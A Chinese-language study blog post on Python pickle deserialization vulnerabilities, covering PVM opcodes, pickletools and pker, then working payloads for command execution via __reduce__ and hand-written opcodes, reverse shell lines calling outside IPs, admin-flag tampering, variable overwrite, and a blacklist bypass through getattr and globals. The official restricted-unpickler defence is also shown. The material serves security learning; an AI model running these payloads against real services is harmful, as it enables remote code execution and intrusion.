学习 web 后端漏洞 pickle反序列化 VVkladg0r 2024-05-13 2024-05-13 pickle反序列化 前置 什么是Pickle pickle是Python中一个能够序列化和反序列化对象的模块 。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。在Python中,“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 “unpickling” 是相反的操作,会将字节流转化回一个对象层次结构。
当然在Python 中并不止pickle一个模块能够进行这一操作,更原始的序列化模块如marshal
,同样能够完成序列化的任务,不过两者的侧重点并不相同,marshal
存在主要是为了支持 Python 的.pyc
文件。现在开发时一般首选pickle。
pickle实际上可以看作一种独立的语言,通过对opcode
的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode
灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力 )。
既然opcode能够执行Python代码,那自然就免不了安全问题。以下是Python在pickle文档中的警告。
pickle工作原理 python为我们提供了两个比较重要的库pickle 和 cpickle 后者 是底层使用c语言书写 速度是pickle 的1000倍 但是接口相同
其实pickle可以看作是一种独立的栈语言,它由一串串opcode(指令集)组成。该语言的解析是依靠Pickle Virtual Machine (PVM)进行的。
PVM由以下三部分组成:
指令处理器(引擎)
从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。
从头开始读取流中的操作码和参数 并对其进行解释处理在这个过程中会改变栈区和标签区直到遇到.这个结束符后停止处理结束之后会到达栈顶形成并返回反序列化的对象
stack(栈区)
由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
作为流数据处理过程中的暂存区在不断的进出过程中完成对数据流的反序列化并最终在栈上生成反序列化的结果 由python的list实现
memo
由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。
如同其名 是数据的一个索引 或者 标记 由python的dict实现为PVM整个生命周期提供存储
栈是一种存储数据的结构.栈有压栈和弹栈两种操作.
可以把栈看做一个弹夹,先进栈的数据后出栈,压栈就像压子弹,弹栈就像弹子弹.
当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。
v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307 。
v3 版协议添加于 Python 3.0。它具有对 bytes
对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154 。
pickle协议是向前兼容的 ,0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外
pickle模块常见方法及接口
也就是pickle库中 序列化与反序列化的一些方法
pickle.dump(*obj*, *file*, *protocol=None*, ***, *fix_imports=True*)
将打包好的对象 obj 写入文件中,其中protocol为pickling的协议版本(下同)。
pickle.dumps(*obj*, *protocol=None*, ***, *fix_imports=True*)
将 obj 打包以后的对象作为bytes类型直接返回。
pickle.load(*file*, ***, *fix_imports=True*, *encoding="ASCII"*, *errors="strict"*)
从文件中读取二进制字节流,将其反序列化为一个对象并返回。
pickle.loads(*data*, ***, *fix_imports=True*, *encoding="ASCII"*, *errors="strict"*)
从data中读取二进制字节流,将其反序列化为一个对象并返回。
obj:想要序列化的obj对象。 protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
两个dump函数是把python对象转换为二进制对象(序列化),两个load函数是把二进制对象转换为python对象(反序列化)
import pickle class Person (): def __init__ (self ): self.age=18 self.name="Pickle" p=Person() opcode=pickle.dumps(p) print (opcode) P=pickle.loads(opcode) print ('The age is:' +str (P.age),'The name is:' +P.name)
如上述代码
这里我创建了一个Person类,其中有两个属性age和name。我首先使用了pickle.dumps()
函数将一个Person对象序列化成二进制字节流的形式。然后使用pickle.loads()
将一串二进制字节流反序列化为一个Person对象。
能够序列化的对象
None
、True
和 False
整数、浮点数、复数
str
、byte
、bytearray
只包含可打包对象的集合,包括 tuple、list、set 和 dict
定义在模块顶层的函数(使用 def
定义,lambda
函数则不可以)
定义在模块顶层的内置函数
定义在模块顶层的类
某些类实例,这些类的 __dict__
属性值或 __getstate__()
函数的返回值可以被打包
对于不能序列化的类型,如lambda函数,使用pickle模块时则会抛出 PicklingError
异常
常用opcode 在Python的pickle.py中,我们能够找到所有的opcode及其解释,常用的opcode如下,这里我们以V0版本为例
指令
描述
具体写法
栈上的变化
c
获取一个全局对象或import一个模块
c[module]\n[instance]\n
获得的对象入栈
o
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
o
这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
i[module]\n[callable]\n
这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N
实例化一个None
N
获得的对象入栈
S
实例化一个字符串对象
S’xxx’\n(也可以使用双引号、'等python字符串形式)
获得的对象入栈
V
实例化一个UNICODE字符串对象
Vxxx\n
获得的对象入栈
I
实例化一个int对象
Ixxx\n
获得的对象入栈
F
实例化一个float对象
Fx.x\n
获得的对象入栈
R
选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
R
函数和参数出栈,函数的返回值入栈
.
程序结束,栈顶的一个元素作为pickle.loads()的返回值
.
无
(
向栈中压入一个MARK标记
(
MARK标记入栈
t
寻找栈中的上一个MARK,并组合之间的数据为元组
t
MARK标记以及被组合的数据出栈,获得的对象入栈
)
向栈中直接压入一个空元组
)
空元组入栈
l
寻找栈中的上一个MARK,并组合之间的数据为列表
l
MARK标记以及被组合的数据出栈,获得的对象入栈
]
向栈中直接压入一个空列表
]
空列表入栈
d
寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)
d
MARK标记以及被组合的数据出栈,获得的对象入栈
}
向栈中直接压入一个空字典
}
空字典入栈
p
将栈顶对象储存至memo_n
pn\n
无
g
将memo_n的对象压栈
gn\n
对象被压栈
0
丢弃栈顶对象
0
栈顶对象被丢弃
b
使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置
b
栈上第一个元素出栈
s
将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中
s
第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u
寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
u
MARK标记以及被组合的数据出栈,字典被更新
a
将栈的第一个元素append到第二个元素(列表)中
a
栈顶元素出栈,第二个元素(列表)被更新
e
寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中
e
MARK标记以及被组合的数据出栈,列表被更新
MARK = b'(' # push special markobject on stack STOP = b'.' # every pickle ends with STOP POP = b'0' # discard topmost stack item POP_MARK = b'1' # discard stack top through topmost markobject DUP = b'2' # duplicate top stack item FLOAT = b'F' # push float object; decimal string argument INT = b'I' # push integer or bool; decimal string argument BININT = b'J' # push four-byte signed int BININT1 = b'K' # push 1-byte unsigned int LONG = b'L' # push long; decimal string argument BININT2 = b'M' # push 2-byte unsigned int NONE = b'N' # push None PERSID = b'P' # push persistent object; id is taken from string arg BINPERSID = b'Q' # " " " ; " " " " stack REDUCE = b'R' # apply callable to argtuple, both on stack STRING = b'S' # push string; NL-terminated string argument BINSTRING = b'T' # push string; counted binary string argument SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument BINUNICODE = b'X' # " " " ; counted UTF-8 string argument APPEND = b'a' # append stack top to list below it BUILD = b'b' # call __setstate__ or __dict__.update() GLOBAL = b'c' # push self.find_class(modname, name); 2 string args DICT = b'd' # build a dict from stack items EMPTY_DICT = b'}' # push empty dict APPENDS = b'e' # extend list on stack by topmost stack slice GET = b'g' # push item from memo on stack; index is string arg BINGET = b'h' # " " " " " " ; " " 1-byte arg INST = b'i' # build & push class instance LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg LIST = b'l' # build list from topmost stack items EMPTY_LIST = b']' # push empty list OBJ = b'o' # build & push class instance PUT = b'p' # store stack top in memo; index is string arg BINPUT = b'q' # " " " " " ; " " 1-byte arg LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg SETITEM = b's' # add key+value pair to dict TUPLE = b't' # build tuple from topmost stack items EMPTY_TUPLE = b')' # push empty tuple SETITEMS = b'u' # modify dict by adding topmost key+value pairs BINFLOAT = b'G' # push float; arg is 8-byte float encoding TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py # Protocol 2 PROTO = b'\x80' # identify pickle protocol NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple EXT1 = b'\x82' # push object from extension registry; 1-byte index EXT2 = b'\x83' # ditto, but 2-byte index EXT4 = b'\x84' # ditto, but 4-byte index TUPLE1 = b'\x85' # build 1-tuple from stack top TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items NEWTRUE = b'\x88' # push True NEWFALSE = b'\x89' # push False LONG1 = b'\x8a' # push long from < 256 bytes LONG4 = b'\x8b' # push really big long _tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3] # Protocol 3 (Python 3.x) BINBYTES = b'B' # push bytes; counted binary string argument SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes # Protocol 4 SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes BINUNICODE8 = b'\x8d' # push very long string BINBYTES8 = b'\x8e' # push very long bytes string EMPTY_SET = b'\x8f' # push empty set on the stack ADDITEMS = b'\x90' # modify set by adding topmost stack items FROZENSET = b'\x91' # build frozenset from topmost stack items NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks MEMOIZE = b'\x94' # store top of the stack in memo FRAME = b'\x95' # indicate the beginning of a new frame # Protocol 5 BYTEARRAY8 = b'\x96' # push bytearray NEXT_BUFFER = b'\x97' # push next out-of-band buffer READONLY_BUFFER = b'\x98' # make top of stack readonly
S : 后面跟的是字符串 ( :作为命令执行到哪里的一个标记 t :将从 t 到标记的全部元素组合成一个元祖,然后放入栈中 c :定义模块名和类名(模块名和类名之间使用回车分隔) R :从栈中取出可调用函数以及元祖形式的参数来执行,并把结果放回栈中 . :点号是结束符
例:
opcode=cos system (S'/bin/sh' tR.
第一行的c 后面是模块名 换行之后是类名 于是就将os.system放入栈中
然后的( 是标记符 我们将一个标记放入栈中
S的后面是字符串 放入栈中
t将栈中标记之前的内容取出来转化成元组 再存入栈中(’/bin/sh’,)随后 标记消失
然后 R将元组取出 并将callable取出 将元组作为callable的参数 并执行 对应这里就是os.system(‘/bin/sh’) 然后再将结果存入栈中
简单pickle反序列化漏洞 import pickleimport os class Person (): def __init__ (self ): self.age=18 self.name="Pickle" def __reduce__ (self ): command=r"whoami" return (os.system,(command,)) p=Person() opcode=pickle.dumps(p) print (opcode) P=pickle.loads(opcode) print ('The age is:' +str (P.age),'The name is:' +P.name)
Person类中加入了__reduce__
函数,该函数能够定义该类的二进制字节流被反序列化时进行的操作。返回值是一个(callable, ([para1,para2...])[,...])
类型的元组。当字节流被反序列化时,Python就会执行callable(para1,para2...)
函数。因此当上述的Person对象被unpickling
时,就会执行os.system(command)
__reduce__()
其实是 object
类中的一个魔术方法,它会在反序列化过程开始时被调用 ,我们可以通过重写object.__reduce__()
函数,使之在被实例化时按照重写的方式进行。
Python 要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...])
,那么每当该类的对象被反序列化时,该 callable 就会被调用,参数为para1
、para2
… 后面再详细解释
python的魔术方法 由此 可以看下python的魔术方法
和php类似,python魔术方法也会在一些特定情况下被自动调用.我们尤其要注意的是__reduce__
魔术方法,这会在反序列化过程开始时被调用,所以我们可以序列化一个__reduce__
魔术方法中有系统命令的实例并且让服务器将它反序列化,从而达到任意命令执行的效果.
除此之外还有很多魔术方法.例如初始化函数__init__
和构造函数__new__
.和php类似,python中也有魔法属性.例如__doc__
,__name__
,__class__
,__base__
等.
pickle.loads()
会在反序列化一个实例时自动引入没有引入的库.
构造方法__new__
在实例化一个类时自动被调用,是类的构造方法.
可以通过重写__new__
自定义类的实例化过程
初始化方法__init__
在__new__
方法之后被调用,主要负责定义类的属性,以初始化实例
析构方法__del__
在实例将被销毁时调用
只在实例的所有调用结束后才会被调用
__getattr__
__setattr__
设置对象成员值的时候触发
传入一个self,一个要设置的属性名称,一个属性的值
__repr__
__call__
__len__
__str__
被str()
,format()
,print()
调用时调用,返回一个字符串
在未增加__reduce__
时,我们的序列化内容是一串基于上面提到的操作码的 bytes,我们可以利用 pickletools 将这里的 opcode 转化成我们更易读的形式
pickletools是python的一个内建模块,常用的方法有pickletools.dis()
,用于把一段opcode转换为易读的形式,
import opcodeimport pickletoolsopcode = b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.' pickletools.dis(opcode) ''' 0: \x80 PROTO 3 2: c GLOBAL '__main__ Person' 19: q BINPUT 0 21: ) EMPTY_TUPLE 22: \x81 NEWOBJ 23: q BINPUT 1 25: } EMPTY_DICT 26: q BINPUT 2 28: ( MARK 29: X BINUNICODE 'age' 37: q BINPUT 3 39: K BININT1 18 41: X BINUNICODE 'name' 50: q BINPUT 4 52: X BINUNICODE 'Pickle' 63: q BINPUT 5 65: u SETITEMS (MARK at 28) 66: b BUILD 67: . STOP highest protocol among opcodes = 2 '''
Pker 这是一个可以遍历Python AST的形式 来自动化解析 pickle opcode的工具
https://github.com/EddieIvan01/pker 也可以使用这个工具来生成,在后续部分操作码被限制的时候某些情况下还是很好用的
Pker可以做到什么
变量赋值:存到memo中,保存memo下标和变量名即可
函数调用
类型字面量构造
list和dict成员修改
对象成员变量修改
使用方法与实例 pker最主要的有三个函数GLOBAL()
、INST()
和OBJ()
GLOBAL('os', 'system') => cos\nsystem\n INST('os', 'system', 'ls') => (S'ls'\nios\nsystem\n OBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\no
return可以返回一个对象
return => . return var => g_\n. return 1 => I1\n.
当然你也可以和Python的正常语法结合起来,下面是使用示例
pker_test.py i = 0 s = 'id' lst = [i] tpl = (0,) dct = {tpl: 0} system = GLOBAL('os', 'system') system(s) return
命令行下 $ python3 pker.py < pker_tests.py b"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR."
自动解析并生成了我们所需的opcode。
手搓opcode 我们可以通过在类中重写__reduce__
方法,从而在反序列化时执行任意命令,但是通过这种方法一次只能执行一个命令,如果想一次执行多个命令,就只能通过手写opcode的方式了
在opcode中,.
是程序结束的标志。我们可以通过去掉.
来将两个字节流拼接起来
在pickle中,函数执行的字节码主要有有三个:R
、i
、o
,所以我们可以从三个方向构造paylaod
另外还有b操作符 也是可以构造paylaod
R操作符 对应函数如下
def load_reduce(self): stack = self.stack args = stack.pop() func = stack[-1] stack[-1] = func(*args)
弹出栈作为函数执行的参数 参数需要是元组形式 随后取栈中最后一个元素作为函数 将指向结果赋值给此元素
opcode1=b'''cos system (S'whoami' tR.'''
i操作符 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
读取下面两行分别为module和name 然后 利用 find_class 寻找对应的方法 pop_mark 获取参数
i操作符将寻找前面的mark来闭合 中间的数据作为元组 将其作为函数参数
(X\x06\x00\x00\x00whoamiios\nsystem\n.
X向后读取四个字符串 将我们的whoami命令压入栈中 i将向后读取 模块与方法os.system 将前面的参数执行
pop_mark的代码如下
先将当前栈赋值给items 然后弹出栈内元素 随后 将这个栈赋值给当前栈 返回items
opcode2=b'''(S'whoami' ios system .'''
o操作符 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象
pop_mark我们上面看到了 就是可以弹出栈内的元素 这里的args就是 先弹出栈中的一个元素作为参数 然后 再弹出第一个元素作为函数
最后 使用instantiate函数进行自执行
可以如下构造
b"(cos\nsystem\nX\x06\x00\x00\x00whoamio."
opcode3=b'''(cos system S'whoami' o.'''
b操作符
当栈中存在__setstate__
时 会执行setstate(state) 也就是 这里我们如果自己写一个__setstate__
类 构造os.system 和 whoami即可执行命令
s字符的源码 是将
c__main__\ntest\n)\x81}X\x0c\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.
首先 搞了主函数和类 __main__
和test 随后 插入空元组和空字典 然后写入__setstate__
c再向后读 得到os.system 字符s将第一个元素和第二个元素作为键值对 插入到第三个元素之中{__main__.test:()},__setstate__,os.system
b字符使第一个元素出栈 也就是{'__setstate__':os.system}
执行一次 setstate(state) 随后插入whoami然后弹出 执行os.system(whoami)
并且pickle.loads
会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。
漏洞利用 命令执行 可以使用R
,i
,o
,b
等操作码实现命令执行
法一 基本的构造如下:
c<module> <callable> (<args> tR
填充上内容也就是:
cos system #引入 os 模块的 system 方法,这里实际上是一步将函数添加到 stack 的操作 (S'ls' # 把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack tR. # t 也就是将 stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack # R 的内容就成为了 system(*('ls',)) ,然后 . 代表结束,返回当前栈顶元素 <=> __import__('os').system(*('ls',))
这样就是一个最基础的 getshell 的构造
其中 c 操作码指向的实际上是一个 self.find_class(modname, name);
可以在源码中找到
def find_class (self, module, name ): if self.proto < 3 and self.fix_imports: if (module, name) in _compat_pickle.NAME_MAPPING: module, name = _compat_pickle.NAME_MAPPING[(module, name)] elif module in _compat_pickle.IMPORT_MAPPING: module = _compat_pickle.IMPORT_MAPPING[module] __import__ (module, level=0 ) if self.proto >= 4 : return _getattribute(sys.modules[module], name)[0 ] else : return getattr (sys.modules[module], name)
c
操作符把find_class()
函数返回的一个类对象压入栈,通过__import__()
引入了模块并且通过self.proto
判断pickle版本处理了不同版本的函数名称问题.
使用其他操作符同理
i: opcode=b’’’(S’calc’ ios system .’’’
o: opcode=b’’’(cos system S’calc’ o.’’’
注:pickle.loads
是可以自动 import 的,这一点为我们的攻击提供了方便
法二 我们还可以重写类的 object.__reduce__()
函数,使之在被实例化时按照重写的方式进行,对应opcode当中的R指令
import pickleimport osclass Test (object ): def __reduce__ (self ): return (os.system,('calc' ,)) print (pickle.dumps(Test(), protocol=0 ))
利用 pickle 的 __reduce__
可以直接用它的操作模式实现我们上面手搓的 __import__('os').system(*('ls',))
的构造。( 缺点:只能执行单一的函数,很难构造复杂的操作 )
法三 上文也是提到过
opcode 都会以 .
结束,我们在程序正常的 opcode 之后去掉 .
再拼接上我们的内容即可命令执行
import pickle opcode=b'''cos system (S'whoami' tRcos system (S'whoami' tR.''' pickle.loads(opcode)
法四 配合反弹shell
payload:
b'''cos system (S"bash -c 'bash -i >& /dev/tcp/192.168.11.21/8888 0>&1'" tR.
import base64a='''V__setstate__ (S"bash -c 'bash -i >& /dev/tcp/124.223.91.44/2333 0>&1'" ios system .''' print (base64.b64encode(a.encode()))
操控实例化对象的属性 例1 import pickle class Person : def __init__ (self,age,name ): self.age=age self.name=name opcode=b'''c__main__ Person (I18 S'Pickle' tR.''' p=pickle.loads(opcode) print (p)print (p.age,p.name) <__main__.Person object at 0x00000223B2E14CD0 >//地址,会根据您运行代码的机器和 Python 解释器的不同而不同 18 Pickle
以上opcode相当于手动执行了构造函数Person(18,'Pickle')
,改变了实例化的属性
例2 假设有如下内容限制用户权限:
import pickleclass User : def __init__ (self,admin,guest ): self.admin=admin self.guest=guest
假设正常我们以访客登录时会传入如下 pickle 序列化内容
import pickleclass User : def __init__ (self ): self.admin=False self.guest=True u = User() print (pickle.dumps(u))''' 0: \x80 PROTO 3 2: c GLOBAL '__main__ User' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: q BINPUT 1 23: } EMPTY_DICT 24: q BINPUT 2 26: ( MARK 27: X BINUNICODE 'admin' 37: q BINPUT 3 39: \x89 NEWFALSE 40: X BINUNICODE 'guest' 50: q BINPUT 4 52: \x88 NEWTRUE 53: u SETITEMS (MARK at 26) 54: b BUILD 55: . STOP highest protocol among opcodes = 2 '''
那么我们对登陆时的 \x89
\x88
进行调换,
b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x89X\x05\x00\x00\x00guestq\x04\x88ub.' b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.'
即可得到如下实例化结果:
import opcodeimport pickleimport pickletoolsclass User : def __init__ (self,admin,guest ): self.admin=admin self.guest=guest opcode = b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.' fakeUser = pickle.loads(opcode) print (fakeUser.admin,fakeUser.guest)
可见将admin与guest的权限改了
变量覆盖 在session或token中,由于需要存储一些用户信息,所以我们常常能够看见pickle的身影。程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户的身份。
假如session或token是以明文的方式进行存储的,我们就有可能通过变量覆盖的方式进行身份伪造。
import pickleimport secret print ("secret变量的值为:" +secret.secret) opcode=b'''c__main__ secret (S'secret' S'Hack!!!' db.''' fake=pickle.loads(opcode) print ("secret变量的值为:" +fake.secret) secret变量的值为:This is a key secret变量的值为:Hack!!!
我们首先通过c
来获取__main__.secret
模块,然后将字符串secret
和Hack!!!
压入栈中,然后通过字节码d
将两个字符串组合成字典{'secret':'Hack!!!'}
的形式。由于在pickle中,反序列化后的数据会以key-value的形式存储,所以secret模块中的变量secret="This is a key"
,是以{'secret':'This is a key'}
形式存储的。最后再通过字节码b来执行__dict__.update()
,即{'secret':'This is a key'}.update({'secret':'Hack!!!'})
,因此最终secret变量的值被覆盖成了Hack!!!
。
官方对此漏洞的修复 对于pickle反序列化漏洞,官方的第一个建议就是永远不要unpickle来自于不受信任的或者未经验证的来源的数据。第二个就是通过重写Unpickler.find_class()
来限制全局变量,我们来看官方的例子
import builtinsimport ioimport pickle safe_builtins = { 'range' , 'complex' , 'set' , 'frozenset' , 'slice' , } class RestrictedUnpickler (pickle.Unpickler): def find_class (self, module, name ): if module == "builtins" and name in safe_builtins: return getattr (builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() opcode=b"cos\nsystem\n(S'echo hello world'\ntR." restricted_loads(opcode) Traceback (most recent call last): ... _pickle.UnpicklingError: global 'os.system' is forbidden
以上例子通过重写Unpickler.find_class()
方法,限制调用模块只能为builtins
,且函数必须在白名单内,否则抛出异常。这种方式限制了调用的模块函数都在白名单之内,这就保证了Python在unpickle
时的安全性。
不过,假如Unpickler.find_class()
中对于模块和函数的限制不是那么严格的话,我们仍然有可能绕过其限制。
bypass 绕过find_class 想要绕过find_class
,我们则需要了解其何时被调用。在官方文档中描述如下
出于这样的理由,你可能会希望通过定制 Unpickler.find_class()
来控制要解封的对象。 与其名称所提示的不同,Unpickler.find_class()
会在执行对任何全局对象(例如一个类或一个函数)的请求时被调用。 因此可以完全禁止全局对象或是将它们限制在一个安全的子集中。
在opcode中,c
、i
、\x93
这三个字节码与全局对象有关,当出现这三个字节码时会调用find_class
,当我们使用这三个字节码时不违反其限制即可。
绕过builtins 在一些例子中,我们常常会见到module=="builtins"
这一限制,比如官方文档中的例子,只允许我们导入builtins
这一模块
if module == "builtins" and name in safe_builtins: return getattr (builtins, name)
那么什么是builtins
模块呢?
当我们启动Python之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用
这类函数被我们称为”内置函数”,这其实就是builtins模块的功劳,这些内置函数都是包含在builtins模块内的。而Python解释器在启动时已经自动帮我们导入了builtins模块,所以我们自然就可以使用这些内置函数了。
我们可以通过for i in sys.modules['builtins'].__dict__:print(i)
来查看该模块中包含的所有模块函数等,大致如下
可以看到有不少命令执行函数,可以直接使用
假如内置函数中一些执行命令的函数也被禁用了,而我们仍想命令执行,那么漏洞的利用思路就类似于Python中的沙箱逃逸。
我们来看下面一个例子,这是code-breaking 2018 picklecode中的一个例子
import pickleimport ioimport builtins class RestrictedUnpickler (pickle.Unpickler): blacklist = {'eval' , 'exec' , 'execfile' , 'compile' , 'open' , 'input' , '__import__' , 'exit' } def find_class (self, module, name ): if module == "builtins" and name not in self.blacklist: return getattr (builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load()
代码使用了Unpickler.find_class()
限制了使用的模块只能为builtins
,并且禁用了内置的危险函数,这时我们应该怎么利用呢
法1 我们可以借鉴Python沙箱逃逸的思路,获取我们想要的函数。代码没有禁用getattr()
函数,getattr
可以获取对象的属性值。因此我们可以通过builtins.getattr(builtins,'eval')
的形式来获取eval函数
接下来我们得构造出一个builtins
模块来传给getattr
的第一个参数,我们可以使用builtins.globals()
函数获取builtins模块包含的内容
import builtinsprint (builtins.globals ())
从中我们可以看出builtins模块中仍包含builtins模块。由于返回的结果是个字典,所以我们还需要获取get()函数
由此最终构造的payload为builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.golbals(),'builtins'),'eval')(command)
思路有了,下面就是手写opcode了。首先获取get函数
import pickleimport pickletools opcode=b'''cbuiltins getattr (cbuiltins dict S'get' tR. ''' pickletools.dis(opcode) print (pickle.loads(opcode)) 0 : c GLOBAL 'builtins getattr' 18 : ( MARK 19 : c GLOBAL 'builtins dict' 34 : S STRING 'get' 41 : t TUPLE (MARK at 18 ) 42 : R REDUCE 43 : . STOP highest protocol among opcodes = 0 <method 'get' of 'dict' objects>
然后获取globals()字典
import pickleimport pickletools opcode2=b'''cbuiltins globals )R. ''' pickletools.dis(opcode2) print (pickle.loads(opcode2)) 0 : c GLOBAL 'builtins globals' 18 : ) EMPTY_TUPLE 19 : R REDUCE 20 : . STOP highest protocol among opcodes = 1 {'__name__' : '__main__' , '__doc__' : None , '__package__' : None , '__loader__' : <_frozen_importlib_external.SourceFileLoader object at 0x000001EF06A308B0 >, '__spec__' : None , '__annotations__' : {}, '__builtins__' : <module 'builtins' (built-in )>, '__file__' : 'C:/Users/34946/Desktop/安全学习/Pickle_Learning/Pickle_builtins1.py' , '__cached__' : None , 'pickle' : <module 'pickle' from 'C:\\Users\\34946\\AppData\\Local\\Programs\\Python\\Python38\\lib\\pickle.py' >, 'pickletools' : <module 'pickletools' from 'C:\\Users\\34946\\AppData\\Local\\Programs\\Python\\Python38\\lib\\pickletools.py' >, 'opcode1' : b"cbuiltins\ngetattr\n(cbuiltins\ndict\nS'get'\ntR.\n" , 'opcode2' : b'cbuiltins\nglobals\n)R.\n' }
现在我们有了get(),有了globals()字典,把他们组合起来我们就能够获取builtins模块了
import pickleimport pickletools opcode3=b'''cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals )RS'__builtins__' tR.''' pickletools.dis(opcode3) print (pickle.loads(opcode3)) 0 : c GLOBAL 'builtins getattr' 18 : ( MARK 19 : c GLOBAL 'builtins dict' 34 : S STRING 'get' 41 : t TUPLE (MARK at 18 ) 42 : R REDUCE 43 : ( MARK 44 : c GLOBAL 'builtins globals' 62 : ( MARK 63 : t TUPLE (MARK at 62 ) 64 : R REDUCE 65 : S STRING 'builtins' 77 : t TUPLE (MARK at 43 ) 78 : R REDUCE 79 : . STOP highest protocol among opcodes = 0 <module 'builtins' (built-in )>
最后我们再调用获取到的builtins的eval函数即可
import pickleimport io class RestrictedUnpickler (pickle.Unpickler): blacklist = {'eval' , 'exec' , 'execfile' , 'compile' , 'open' , 'input' , '__import__' , 'exit' } def find_class (self, module, name ): if module == "builtins" and name not in self.blacklist: return getattr (builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() opcode=b'''cbuiltins getattr (cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals )RS'__builtins__' tRS'eval' tR(S'__import__("os").system("whoami")' tR. ''' restricted_loads(opcode)
最终 我们构造命令执行
